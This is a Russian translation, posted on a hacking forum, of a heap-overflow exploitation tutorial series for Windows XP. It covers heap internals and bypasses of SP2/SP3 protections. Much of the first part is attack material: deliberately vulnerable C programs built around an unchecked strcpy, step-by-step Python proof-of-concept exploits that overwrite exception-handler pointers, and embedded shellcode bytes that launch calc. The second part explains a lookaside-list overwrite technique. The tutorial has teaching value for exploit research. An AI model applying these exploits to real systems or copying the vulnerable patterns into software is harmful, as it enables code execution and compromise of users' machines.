• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Heap Overflows For Humans 101

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
Введение

Всем привет! Вы, наверное, думаете: Что мне дадут туториалы по эксплуатации кучи от b33f’а? Я надеюсь, это короткое введение ответит на все вопросы. Как вы наверняка знаете, я очень интересуюсь разработкой эксплойтов.

Когда я начинал учиться чёрной магии, которой является разработка эксплойтов, было всего несколько ресурсов, где можно было достать бесценную информацию.

Именно поэтому, когда я увидел этот твит от mr_me, я понял, что я должен сделать что-то ради сохранения его туториалов по эксплуатации кучи Windows.

Я решил, что не буду продлять мой старый домен http://t.co/gvVS4gCKCG, поэтому, если вы интересуетесь переполнением буфера, я рекомендую вам выкачивать содержимое прямо сейчас. — mr_me (@ae0n_) Июнь 25, 2015

Я написал письмо mr_me. Он сказал, было бы круто, если бы я вместе с ним опубликовал его посты на FuzzySec. Все туториалы серии “Переполнение буфера для людей” были сохранены в оригинальном виде. Единственное, что я добавил, это возможность интегрировать их в сайт. Это нужно для того чтобы они коррелировали с общей темой FussySec.

Переполнение буфера кучи. Часть первая

Ранее, изучая переполнение стека, мы получали контроль над регистром инструкций (EIP – Extended Instruction Pointer – расширенный указатель на инструкцию) с помощью обработчика прерывания или напрямую. Сегодня мы рассмотрим техники, проверенные временем. Они позволяют получить контроль за выполнением программы без прямого использования EIP или SEH (Structured Exception Handling – структурированная обработка исключений). С их помощью, перезаписывая некоторые ячейки в памяти определёнными значениями, мы можем добиться перезаписи любого значения DWORD (DOUBLE WORD – двойное машинное слово. Обычно 32 бита) в памяти.

Если вы не знакомы с принципами переполнения буфера стека на среднем или продвинутом уровне, я рекомендую вам сперва сфокусироваться на этой теме. То, что мы будем обсуждать, уже давно устарело, поэтому, если вы ищете новые техники эксплуатации менеджера кучи Windows, не тратьте здесь время ?

Что вам понадобится:

– Windows XP с установленным SP1
– Отладчик (Olly Debugger, Immunity Debugger, windbg и т.д.)
– Компилятор C/C++ (Dev C++, lcc-32, MS visual C++ 6.0 (если вы сможете его достать)).
– Удобный для вас скриптовый язык (Я использую python, вы можете пользоваться perl)
– Мозги (и/или настойчивость)
– Некоторые знания Ассемблера, C. Также умение использовать плагин HideDbg для Olly или !hidedebug в Immunity debugger
– Время.

Давайте сфокусируемся на базовых понятиях и основах. Скорее всего техники, которые мы рассмотрим уже устарели для использования в “реальном мире”, однако вы должны всегда помнить: если вы хотите двигаться вперёд, вам нужно знать прошлое.

Что такое куча и как она работает в XP?

Куча — это часть оперативной памяти, в которой процесс может хранить данные. Каждый процесс динамически запрашивает (аллоцирует (allocate)) и освобождает из неё кусочки памяти в зависимости от требований приложения. Важно отметить, что стэк растёт сверху вниз, то есть в сторону адреса 0x00000000. Куча в свою очередь растёт снизу-вверх – в сторону адреса 0xFFFFFFFF. Когда процесс дважды вызывает HeapAllocate(), второй вызов вернёт указатель, находящийся выше первого. Таким образом любое переполнение в первом блоке затрагивает второй.

Каждый процесс, пользуется ли он стандартной кучей процесса или динамически аллоцированной, имеет несколько структур данных. Одной из них является массив из 128 структур LIST_ENTRY, которые отслеживают свободные блоки. Он называется FreeLists. Каждый элемент содержит два указателя в начале массива и расположен по смещению 0x178 относительно базовой структуры кучи. Когда куча создаётся, обоим указателям присваивается адрес FreeLists[0]. Они указывают на первый свободный блок доступной памяти.

Давайте рассмотрим это поподробнее. Допустим, у нашей кучи был базовый адрес 0x00650000 и первый доступный блок расположен по адресу 0x00650688. Тогда у нас есть четыре следующих адреса:

Код:
0x00650178 (Freelist[0].Flink) указатель на значение 0x00650688 (1-й свободный блок)
0x0065017c (FreeList[0].Blink) указатель на значение 0x00650688 (1-й свободный блок)
0x00650688 (1й свободный блок) указатель на значение 0x00650178 (FreeList[0])
0x0065068c (1й свободный блок) указатель на значение 0x00650178 (FreeList[0])

При аллокации указатели FreeList[0].Flink и FreeList[0].Blink обновляются и указывают на следующий свободный блок. Далее указатели на FreeList перемещаются на конец свежеаллоцированного блока. Они обновляются при каждой аллокации или освобождении памяти (unlink). Таким образом вся работа с памятью отслеживается в двусвязном списке.

При переполнении буфера кучи и перезаписи её служебных данных, перезапись этих указателей позволяет получать доступ к произвольным DWORD значениям в памяти. В такой ситуации атакующий может изменять управляющие данные программы, такие как указатели на функции, что позволяет получить полный контроль над выполнением.

Эксплуатация переполнения буфера кучи с использованием векторной обработки исключений (VEH)

Для начала взглянем на файл heap-veh.c:

C:
#include <windows.h>
#include <stdio.h>

        DWORD MyExceptionHandler(void);
        int foo(char *buf);

        int main(int argc, char *argv[])
        {
                HMODULE l;
                l = LoadLibrary("msvcrt.dll");
                l = LoadLibrary("netapi32.dll");
                printf("\n\nHeapoverflow program.\n");
                if(argc != 2)
                        return printf("ARGS!");
                foo(argv[1]);
                return 0;
        }



        DWORD MyExceptionHandler(void)
        {
                printf("In exception handler....");
                ExitProcess(1);
                return 0;
        }

        int foo(char *buf)
        {
                HLOCAL h1 = 0, h2 = 0;
                HANDLE hp;

                __try{
                        hp = HeapCreate(0,0x1000,0x10000);
                        if(!hp){
                                return printf("Failed to create heap.\n");
            }
                        h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);

                        printf("HEAP: %.8X %.8X\n",h1,&h1);

                        // Heap Overflow occurs here:
                        strcpy(h1,buf);

                        // This second call to HeapAlloc() is when we gain control
                        h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
                        printf("hello");
                }
                __except(MyExceptionHandler())
                {
                        printf("oops...");
                }
                return 0;
        }

Из кода выше видно, что мы используем обработку исключений с использованием блока __try .. __catch. Скомпилируйте этот файл в Windows XP SP1.

Запустив приложение в командной строке, обратите внимание, что для срабатывания исключения потребовалось больше 260 символов (байт).

word-image-50.png


Самое время запустить его в отладчике. Контроль за исполнением мы получаем при второй аллокации (потому что freelist[0] перезаписан атакующей строкой при первой аллокации).

word-image-51.png


Код:
MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECX

Эти инструкции говорят: “Сделай текущее значение EAX указателем на ECX, а текущее значение ECX указателем на ячейку, которая находится через 4 байта после EAX”. Отсюда мы узнали, каким образом мы освобождаем (freeing, unlinking) первый блок аллоцированной памяти.

Код:
EAX (что мы пишем) : Blink
ECX (куда мы пишем) : Flink

Так что же такое векторная обработка исключений?

Векторная обработка исключений появилась в Windows XP и хранит структуры зарегистрированных исключений в куче, в отличие от традиционной фреймовой обработки исключений, известной как SEH. SEH хранит эти структуры на стеке. Этот тип исключений вызывается до запуска любых других обработчиков, основанных на фреймах. Ниже представлено объявление этой структуры:

C:
struct _VECTORED_EXCEPTION_NODE
{

   DWORD m_pNextNode;

   DWORD m_pPreviousNode;

   PVOID m_pfnVectoredHandler;

}

Всё, что нужно знать, это что m_pNextNode указывает на следующую структуру _VECTORED_EXCEPTION_NODE. Таким образом мы должны переписать этот указатель. Но какой адрес нам нужен? Давайте взглянем на код, работающий с _VECTORED_EXCEPTION_NODE:

Код:
77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]

Сперва мы перемещаем в ESI указатель _VECTORED_EXCEPTION_NODE и через пару команд вызываем ESI+8. Если мы сделаем так, что указатель на следующую структуру в _VECTORED_EXCEPTION_NODE будет содержать [#адрес_нашего_шеллкода-0x08], тогда мы легко передадим ему управление. Где искать указатель на наш шеллкод? Вот же он, на стеке:

word-image-52.png


Тут видно адрес нашего шеллкода на стеке. Давайте, особо не напрягаясь, попробуем значение прямо из отладчика – 0x0012ff40. Не забыли, что вызывается esi+8? Чтобы вызвать наш код, нужно сместиться на 8 байт: 0x0012ff40 – 0x08 = 0x0012ff38. Отлично! Тогда ECX будет присвоено 0x0012ff40. Как же нам найти m_nextNode (указатель на следующую структуру _VECTORED_EXCEPTION_NODE)? Сделаем несколько шагов в отладчике дальше, пока не будет подготовлен вызов первого _VECTORED_EXCEPTION_NODE. Тут мы и получим указатель:

Код:
77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210
77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485

В EDI записывается m_pNextNode (тот указатель, что нам нужен). Замечательно, присвоим EAX это значение. Мы пришли к тому, что ECX = 0x77fc3210, EAX = 0x0012ff38. Разумеется, нам нужны смещения для EAX и ECX. Чтобы их найти, сгенерируем msf последовательность и скормим её приложению. Ниже небольшая напоминалочка:

word-image-53.png


Вычисляем смещения, включив режим скрытия отладки, и дожидаясь срабатывания исключения.

word-image-54.png


word-image-55.png


word-image-56.png


Ок, вот скелет нашего PoC эксплойта:

Python:
import os

# _vectored_exception_node
exploit = ("\xcc" * 272)

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we don't need the null byte

os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-veh.exe ' + exploit)

На этом этапе мы не можем получить доступ к нашему шеллкоду, потому что он содержит нулевой байт. Это не всегда бывает проблемой, поскольку в этом примере мы используем strcpy для сохранения нашего буфера в куче.

Отлично, в данный момент мы добрались до брейкпойта на “\xcc” и можем просто заменить его каким-то шеллкодом. Помните, что он должем быть меньше 272 байт, потому что это единственное место, где мы его можем разместить.

Python:
import os
import win32api

calc = (
"\xda\xcb\x2b\xc9\xd9\x74\x24\xf4\x58\xb1\x32\xbb\xfa\xcd" +
"\x2d\x4a\x83\xe8\xfc\x31\x58\x14\x03\x58\xee\x2f\xd8\xb6" +
"\xe6\x39\x23\x47\xf6\x59\xad\xa2\xc7\x4b\xc9\xa7\x75\x5c" +
"\x99\xea\x75\x17\xcf\x1e\x0e\x55\xd8\x11\xa7\xd0\x3e\x1f" +
"\x38\xd5\xfe\xf3\xfa\x77\x83\x09\x2e\x58\xba\xc1\x23\x99" +
"\xfb\x3c\xcb\xcb\x54\x4a\x79\xfc\xd1\x0e\x41\xfd\x35\x05" +
"\xf9\x85\x30\xda\x8d\x3f\x3a\x0b\x3d\x4b\x74\xb3\x36\x13" +
"\xa5\xc2\x9b\x47\x99\x8d\x90\xbc\x69\x0c\x70\x8d\x92\x3e" +
"\xbc\x42\xad\x8e\x31\x9a\xe9\x29\xa9\xe9\x01\x4a\x54\xea" +
"\xd1\x30\x82\x7f\xc4\x93\x41\x27\x2c\x25\x86\xbe\xa7\x29" +
"\x63\xb4\xe0\x2d\x72\x19\x9b\x4a\xff\x9c\x4c\xdb\xbb\xba" +
"\x48\x87\x18\xa2\xc9\x6d\xcf\xdb\x0a\xc9\xb0\x79\x40\xf8" +
"\xa5\xf8\x0b\x97\x38\x88\x31\xde\x3a\x92\x39\x71\x52\xa3" +
"\xb2\x1e\x25\x3c\x11\x5b\xd9\x76\x38\xca\x71\xdf\xa8\x4e" +
"\x1c\xe0\x06\x8c\x18\x63\xa3\x6d\xdf\x7b\xc6\x68\xa4\x3b" +
"\x3a\x01\xb5\xa9\x3c\xb6\xb6\xfb\x5e\x59\x24\x67\xa1\x93")

# _vectored_exception_node
exploit = ("\x90" * 5)
exploit += (calc)
exploit += ("\xcc" * (272-len(exploit)))

# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("\x0c\x32\xfc\x77") # ECX

# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("\x38\xff\x12") # EAX - we dont need the null byte

win32api.WinExec(('heap-veh.exe %s') % exploit, 1)

Эксплуатация переполнения кучи с использованием фильтра необработанных исключений.

Фильтр необработанных исключений (Unhandled Exception Filter – UEF) является последним исключением, которое отрабатывает перед завершением приложения. Именно он ответственен за вывод часто встречающегося сообщения “An unhandled error occurred” (в русской винде “Произошла неизвестная ошибка”), выводящееся при внезапном падении программы. На данном этапе мы уже контролируем содержимое EAX и ECX и знаем смещения для обоих регистров:

Python:
import os

exploit = ("\xcc" * 272)
exploit += ("\x41" * 4) # ECX
exploit += ("\x42" * 4) # EAX
exploit += ("\xcc" * 272)

os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)


В отличие от предыдущего примера, наш heap-uef.c не содержит ни следа от обработчика исключений. Это значит, что мы будем эксплуатировать UEF. Ниже содержимое файла heap-uef.c:

C:
#include <stdio.h>
#include <windows.h>

int foo(char *buf);
int main(int argc, char *argv[])
{
        HMODULE l;
        l = LoadLibrary("msvcrt.dll");
        l = LoadLibrary("netapi32.dll");
        printf("\n\nHeapoverflow program.\n");
        if(argc != 2)
                return printf("ARGS!");
        foo(argv[1]);
        return 0;
}

int foo(char *buf)
{
        HLOCAL h1 = 0, h2 = 0;
        HANDLE hp;

        hp = HeapCreate(0,0x1000,0x10000);
        if(!hp)
                return printf("Failed to create heap.\n");
        h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
        printf("HEAP: %.8X %.8X\n",h1,&h1);

        // Heap Overflow occurs here:
        strcpy(h1,buf);

        // We gain control of this second call to HeapAlloc
        h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
        printf("hello");
        return 0;
}

При отладке этого типа переполнения важно включать анти-дебаггинг в отладчике. Это нужно, чтобы вызывался UEF, а также не менялись наши смещения для регистров. В первую очередь нам нужно понять, где мы должны писать наш dword. Это будет указатель на UEF. Его мы получим, внимательно рассмотрев вызов SetUnhandledExceptionFilter().

word-image-57.png



Инструкция MOV записывает значение по адресу UnhandledExceptionFilter (0x77ed73b4):

word-image-58.png


При вызове SetUnhandledExceptionFilter(), в регистр ECX будет записано значение указателя, которое хранится в UnhandledExceptionFilter. Сперва это может запутать, ведь освобождение памяти приводит к присвоению регистра EAX содержимого ECX, но тут особый случай. Мы просто используем побочный эффект функции SetUnhandledExceptionFilter() при присваивании значения UnhandledExceptionFilter. Теперь мы можем с уверенностью сказать, что ECX содержит указатель на наш шеллкод. Следующие строчки должны развеять любые сомнения:

Код:
77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

По сути, значение UnhandledExceptionFilter() записывается в EAX и через пару команд происходит вызов по адресу в EAX. То есть UnhandledExceptionFilter() –> [указатель атакующего], затем этот указатель помещается в EAX и получает управление. Его получает наш шеллкод или инструкция, приводящая нас к шеллкоду.

Если мы взглянем на EDI, мы заметим, что указатель смещён на 0x78 байт от конца пэйлоада.

word-image-59.png



Если мы просто вызовем этот указатель – мы запустим шеллкод. Таким образом EAX должен указывать на инструкцию вида:

call dword ptr ds:[edi+74]

Её легко можно найти во многих модулях XP SP1.

word-image-60.png


Запишем эти значения в наш PoC и взглянем, куда они нас приведут:

Python:
import os

exploit = ("\xcc" * 272)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\xcc" * 272)

os.system('"C:\\Documents and Settings\\Steve\\Desktop\\odbg110\\OLLYDBG.EXE" heap-uef.exe ' + exploit)

word-image-61.png


Разумеется, мы просто посчитаем смещение к этой части шеллкода и вставим инструкцию JMP в него:

Python:
import os

calc = (
"\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9"
"\x44\x80\xc2\x77"        # address to WinExec()
"\xFF\xD1\x90\x90")

exploit = ("\x44" * 264)
exploit += "\xeb\x14"           # our JMP (over the junk and into nops)
exploit += ("\x44" * 6)
exploit += ("\xad\xbb\xc3\x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("\xb4\x73\xed\x77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("\x90" * 21)
exploit += calc

os.system('heap-uef.exe ' + exploit)

word-image-62.png


Бум!

word-image-63.png


Заключение

Мы продемонстрировали две техники эксплуатации unlink() в примитивной форме в Windows XP SP1. Возможно применение и других техник, таких как RtlEnterCriticalSection или TEB (Thread Information Block) Exception Handler. В следующем туториале я покажу, как эксплуатировать unlink() (HeapAlloc/HeapFree) в Windows SP2 и SP3 и обходить защиту кучи.

POC’s

http://www.exploit-db.com/exploits/12240/
http://www.exploit-db.com/exploits/15957/

Ссылки

– The shellcoder’s handbook (Chris Anley, John Heasman, FX, Gerardo Richarte)
– David Litchfield (http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt)

Источник:

Оригинал:

Автор: Перевод – Анонимный переводчик, ред. @N3M351D4
fuzzysecurity (с)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В первой части я рассказывал про способы эксплуатации переполнения буфера в кучи на старой версии Windows. Задачей было предоставить читателю практические знания и понимание того, как работает процесс выделения/освобождения памяти и как через указатели flink/blink из freelist[n] можно записывать произвольные 4 байта.

В этой статье я в первую очередь освежаю свои собственные знания (я забывчив), а также пытаюсь помочь специалистам по безопасности обрести понимание принципов работы менеджера кучи в старых версиях Windows (NT v5 и старше). Оно нужно для эксплуатации переполнения кучи и преодоления некоторых ограничений, предотвращающих запись четырёх байт. Помимо этого, статья даст читателю некоторую точку отсчёта в знаниях, которая без сомнения пригодится при эксплуатации более свежих версий кучи windows.

Далее будет рассказано об одной хорошо известной методике обхода системы защиты кучи в Windows XP SP2/SP3. Поэтому, этот текст ни в коей мере не является полным руководством или попыткой описать все детали кучи.

Для продолжения потребуется относительно глубокое понимание работы структур кучи в Windows XP/Server 2003. Я расскажу некоторые тонкости внутренней работы кучи, основываясь на жизненном опыте и фидбеке с первой части «Переполнения буфера кучи».

Если вы не знакомы с принципами переполнения буфера кучи, я рекомендую вам сперва сфокусироваться на этой теме.

Чтобы повторить мои действия вам понадобится:
– Windows XP с установленным SP1
– Windows XP с установленным SP2/SP3
– Отладчик (Olly Debugger, Immunity Debugger, windbg и т.д.)
– Компилятор C/C++ (Dev C++, lcc-32, MS visual C++ 6.0 (если вы сможете его достать)).
– Удобный для вас скриптовый язык (Я использую python, вы можете пользоваться perl)
– Мозги (и/или настойчивость)
– Некоторые знания Ассемблера, C. Также умение использовать плагин HideDbg для Olly или !hidedebug в Immunity debugger
– Время.

Организация кучи в ОС Windows
Каждая программа в ОС Windows имеет специальную структуру, которая называется куча. По смещению 0x90 в структуре PEB (Process Environment Block) находится список куч процесса в хронологическом порядке. Давайте взглянем на них.

Используя Windbg, мы найдём текущий PEB с помощью команды !peb. Эту же команду можно использовать в Immunity Debugger. Ниже приведён очень простой код, возвращающий адрес PEB:

Python:
from immlib import *
def main(args):
        imm = Debugger()
        peb_address = imm.getPEBAddress()
        info = 'PEB: 0x%08x' % peb_address
        return info

Добравшись до PEB мы видим кучи процесса:

Код:
+0x090 ProcessHeaps : 0x7c97ffe0 -> 0x00240000 Void

Давайте сдампим dword’ы, находящиеся по этому указателю:

Код:
0:000> dd 7c97ffe0

7c97ffe0 00240000 00340000 00350000 003e0000
7c97fff0 00480000 00000000 00000000 00000000
7c980000 00000000 00000000 00000000 00000000
7c980010 00000000 00000000 00000000 00000000
7c980020 02c402c2 00020498 00000001 7c9b2000
7c980030 7ffd2de6 00000000 00000005 00000001
7c980040 fffff89c 00000000 003a0043 0057005c
7c980050 004e0049 004f0044 00530057 0073005c

Адреса, выделенные жирным – это указатели на кучи, используемые текущим процессом. Эти же данные можно получить в обоих отладчиках командой !heap.

word-image-75.png


Также в windbg вы можете просмотреть статистику по каждой куче командой !head -stat. Ниже её вывод:

Код:
 _HEAP 00030000
Segments 00000002
Reserved bytes 00110000
Committed bytes 00014000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000

Наконец, в Immunity Debugger можно сдампить метаданные кучи, используя флаги -h или -q.

word-image-76.png


Первая куча (0x00240000) – стандартная. Остальные создаются компонентами среды исполнения языка C и конструкторами. Последняя куча в списке (0x00480000) создана нашим приложением.

Приложение может использовать функцию HeapCreate() для создания дополнительной кучи(куч) и хранить указатели на них по смещению 0x90 в PEB. Ниже объявление HeapCreate() в Windows API:

Код:
HANDLE WINAPI HeapCreate(
__in DWORD flOptions,
__in SIZE_T dwInitialSize,
__in SIZE_T dwMaximumSize
);

Вызов HeapCreate() с корректными параметрами возвращает в EAX указатель на созданную кучу.

Описание аргументов:

Код:
flOptions
        + HEAP_CREATE_ENABLE_EXECUTE: разрешить исполнение кода)
        + HEAP_GENERATE_EXCEPTIONS: если вызов HeapAlloc() или HeapReAlloc() не может быть корректно отработан, вызывается исключение
        + HEAP_NO_SERIALIZE: не использовать сериализованный доступ при работе функций с кучей

dwInitialSize
        + исходный размер памяти, выделяемый для кучи, округлённый до ближайшей границы страницы (4Кб). Если равен 0, выделяется куча размером в одну страницу. Должен быть меньше dwMaximumSize

dwMaximumSize
        + максимальный размер кучи. Если вызов HeapAlloc() или HeapReAlloc() превышает dwinitialSize, менеджер виртуальной памяти вернёт нужное количество страниц, остальные будут храниться во freelist. Если dwMaximumSize равен нулю, куча будет расти. Ограничена она будет только величиной доступной памяти.

Больше информации о флагах можно найти на MSDN. Ниже показана таблица, содержащая структуру кучи с подсвеченными важными элементами. Чтобы увидеть её в windbg, используйте команду “dt _heap”

АдресЗначениеОписание
0x003600000x00360000Base Address
0x0036000C0x00000002Flags
0x003600100x00000000ForceFlags
0x003600140x0000FE00VirtualMemoryThreshold
0x003600500x00360050VirtualAllocatedBlocks List
0x003601580x00000000FreeList Bitmap
0x003601780x00361E90FreeList[0]
0x003601800x00360180FreeList[n]
0x003605780x00360608HeapLockSection
0x0036057C0x00000000Commit Routine Pointer
0x003605800x00360688FrontEndHeap
0x003605860x00000001FrontEndHeapType
0x003606780x00361E88Last Free Chunk
0x003606880x00000000Lookaside[n]

Структура кучи
Как уже было сказано, каждый чанк кучи хранится в сегементе. Если чанк освобождается, он добавляется во freelist или lookaside. При аллокации, если менеджер кучи не может найти свободный чанк в lookaside или во freelist, он выделит еще кусок памяти в текущем сегменте кучи. Структура кучи может хранить нескольколько сегментов в случае большого количества аллокаций. Ниже представлена таблица со структурой сегмента.

ЗаголовокРазмер текущего элемента (0x2)Размер предыдущего элемента (0x2)Индекс сегмента (0x1)Флаг (0x1)Не используется (0x1)Индекс тега (0x1)
Данные

При анализе сегментов кучи в windbg используется команда ‘!heap -a [heap address]’


word-image-77.png


В Immunity Debugger для той же цели используется ‘!heap -h [heap address] -c’ (флаг -c отобразит чанки):


word-image-78.png


Структура каждого сегмента представляет собой собственные метаданные, за которыми следуют чанки данных, выделенные в этом сегменте. Это выделенная память сегмента. Всё остальное место в структуре занимает невыделенная память. Теперь, зная строение сегмента, мы можем сдампить его метаданные командой ‘dt _heap_segment [segment address]’.

word-image-79.png


Ниже представлена подробная таблица с метаданными из структуры сегмента. Для простоты мы установили начальный адрес 0x00480000.

АдресЗначениеОписание
0x004800080xffeeffeeSignature
0x0048000C0x00000000Flags
0x004800100x00480000Heap
0x004800140x0003d000LargeUncommitedRange
0x004800180x00480000BaseAddress
0x0048001c0x00000040NumberOfPages
0x004800200x00480680FirstEntry
0x004800240x004c0000LastValidEntry
0x004800280x0000003dNumberOfUncommitedPages
0x0048002c0x00000001NumberOfUncommitedRanges
0x004800300x00480588UnCommitedRanges
0x004800340x00000000AllocatorBackTraceIndex
0x004800360x00000000Reserved
0x004800380x00381eb8LastEntryInSegment

Важной частью сегмента является первый чанк. Он содержит в себе данные, которые сами по себе позволяют “перемещаться” по сегменту, поскольку по ним можно вычислить, где находятся следующие чанки, зная размер каждого из них.

Бэкэнд аллокатор – freelist

По смещению 0x178 в структуре кучи находится массив freelist[]. Он содержит двусвязный список чанков. Двусвязность достигается с помощью указателей flink и blink.

word-image-80.png


Диаграмма выше показывает, что freelist содержит чанки от 0 до 128. Любой размер чанка между 0 и 1016 байтам (максимальный размер равен 1024, минус 8 байт на метаданные) занимает [размер] * 8 байт. К примеру, у меня есть чанк размером 40 байт. Тогда он будет иметь в массиве индекс 4 (40 / 8).

Если размер превышает 1016 (127 * 8) байта, тогда он будет храниться во freelist[0] в порядке возрастания. Ниже изображена структура чанка во freelist:

ЗаголовкиРазмер текущего (0x2)Размер предыдущего (0x2)Индекс сегмента (0x1)Флаг (0x1)Не используется (0x1)Индекс тега (0x1)
flink/blinkFlink (0x4)Blink (0x4)
Данные

Microsoft добавила некоторые ограничения, чтобы защититься от атак разрывающих связи в списке(unlink-атак) в структурах freelist. Ниже представлен их короткий список.

Безопасный разрыв связи во freelist:

Этот защитный механизм был реализован в XP SP2 и выше. В сущности, он не позволяет провести атаку, описанную в первой части “Переполнения буфера кучи”. Он проверяет, что flink предыдущего чанка и blink следующего чанка указывают на текущий аллоцированный чанк. Ниже описание и демонстрация механизма.

Код:
Freelist chunk 1[flink] == Freelist chunk 2 && Freelist chunk 3[blink] ==Freelist chunk 2

word-image-81.png


Система защиты проверяет указатели, помеченные красным


word-image-82.png


Если какая-либо из проверок не проходит, производится прыжок по адресу 0x7c936934 в ntdll.dll. Как можете заметить, это почти то же самое, что мы делали при обычном разрыве связи, за исключением того, что теперь проверяется flink/blink.

Freelist header cookies:

Еще в SP2 появился механизм, добавляющий в заголовок чанка по смещению 0x5 случайного значения. Только чанки во freelist проверяются на корректные значения. Ниже показан чанк с выделенным случайным значением. Это случайный байт, поэтому имеет всего 256 возможных значений. Помните, что в благоприятных условиях вы можете просто найти требуемое значение брутфорсом.

word-image-83.png


Быстрый аллокатор чанков – lookaside

Список lookaside является односвязным и хранит чанки размером до 1016 байт (max: 1024-8). Это нужно для ускорения поиска свободного чанка. Оно достигается, когда приложение использует множество вызовов HeapAlloc() и HeapFree() во время выполнения. Поскольку проход по списку должен быть быстрым, в одном его элементе может храниться не больше 3 свободных чанков. Если при вызове HeapFree() в списке уже есть 3 элемента с таким размером, то освобождаемый чанк добавляется во freelist[n].

Размер чанка кучи всегда рассчитывается как размер аллокации + дополнительные 8 байт на заголовок. Тогда при запросе 16 байт в списке lookaside будет искаться 24-байтный чанк (16 + заголовок). В случае, описанном диаграмой ниже, менеджер кучи найдет такой чанк во втором элементе списка.

lookaside хранит только flink, указывающий на следующий чанк данных.

ЗаголовкиРазмер текушего (0x2)Размер предыдущего (0x2)Куки (0x1)Флаг (0x1)Не используется (0x1)Индекс сегмента (0x1)
flink/blinkFlink (0x4)
Данные

word-image-84.png


Когда менеджеру кучи приходит запрос на аллокацию, он ищет удовлетворяющие ему свободные чанки. Для ускорения и оптимизации менеджер сперва пройдётся по списку lookaside. Если там его не найдётся, будет использован обычный аллокатор. В этом случае будет произведён проход по списку freelist, начиная с freelist[1] до freelist[127]. Если свободный чанк не найдётся, чанк с большим размером будет искаться во freelist[0]. Затем этот чанк будет разделён. Запрошенная часть будет возвращена менеджеру, а остатки отправятся во freelist[n] (n определяется по количеству оставшихся байтов). Это приводит нас к следующей части – операциям кучи.

Базовые операции кучи

Разделение чанка
:

Процесс получения из freelist[n] большого чанка, который разбивается на маленькие. Если полученный чанк больше запрошенного размера, он разбивается так, чтобы удовлетворить запросу.

Предположим во freelist[0] лежит всего один чанк размером 2048 байт. Если запрашивается выделение 1024 байт (с учётом заголовка), тогда он разделяется: один кусок в 1024 байта отправляется назад во freelist[0], а другой возвращается.

Слияние кучи:

Процесс объединение трёх соседних свободных чанков в один. Происходит при освобождении среднего из них, два боковых должны уже быть свободными.

Причина, по которой это делается, заключается в эффективном использовании сегмента памяти. Разумеется, освобождение чанков не всегда эффективно. Слияние кучи является очень важной операцией, поскольку при этом несколько свободных чанков объединяются в один, который может быть позже использован для аллокации большего размера позднее. Если этого не делать, сегмент будет заполняться неиспользуемыми чанками и будет всё больше и больше фрагментирован.

Методы обхода механизмов защиты Windows XP SP2/3

Перезапись чанка в lookaside


Это самый распространённый метод обхода контрольных байтов (случайного байта, о котором говорили выше) и безопасного разрыва связи в списке. Несмотря на то, что успех выполнения зависит от приложения, в котором он используется, некоторые из них позволяют изучить текущую структуру кучи, чтобы быть уверенным в надёжности эксплуатации. Поскольку в lookaside не производится проверка на разрыв связи и проверка контрольных байтов, атакующий может переписать указатель flink в соседнем элементе и вернуть его через HeapAlloc() или HeapFree(), чтобы позже записать вредоносный код в следующий доступный чанк.

Давайте посмотрим, как это работает.

1. Начинаем с аллокации чанка A в текущем сегменте.

1.png


2. Аллоцируем еще один чанк B там же.

2.png


3. Теперь освобождаем чанк B, он отправляется в список lookaside. С этого момента у нас есть два чанка: один в сегменте, другой в lookaside.

3.png


4. Переполняем чанк А (впоследствии его содержимое попадёт в B, обновив flink). Это метаданные, которые будут перезаписаны.

4.png


5. Аллоцируем чанк B снова (просим чанк такого же размера, как в шаге 2). Нам вернётся указатель на B, а менеджер кучи обновит данные сегмента для подготовки к следующей аллокации. flink чанка B теперь указывает на произвольный адрес, который контролируется атакующим.

5.png


6. Наконец, получаем управление, аллоцируя чанк C. Он будет слудующим доступным после B, а значит расположен там, куда указывает flink чанка B. В этом месте атакующий записывает в C шеллкод.

6.png


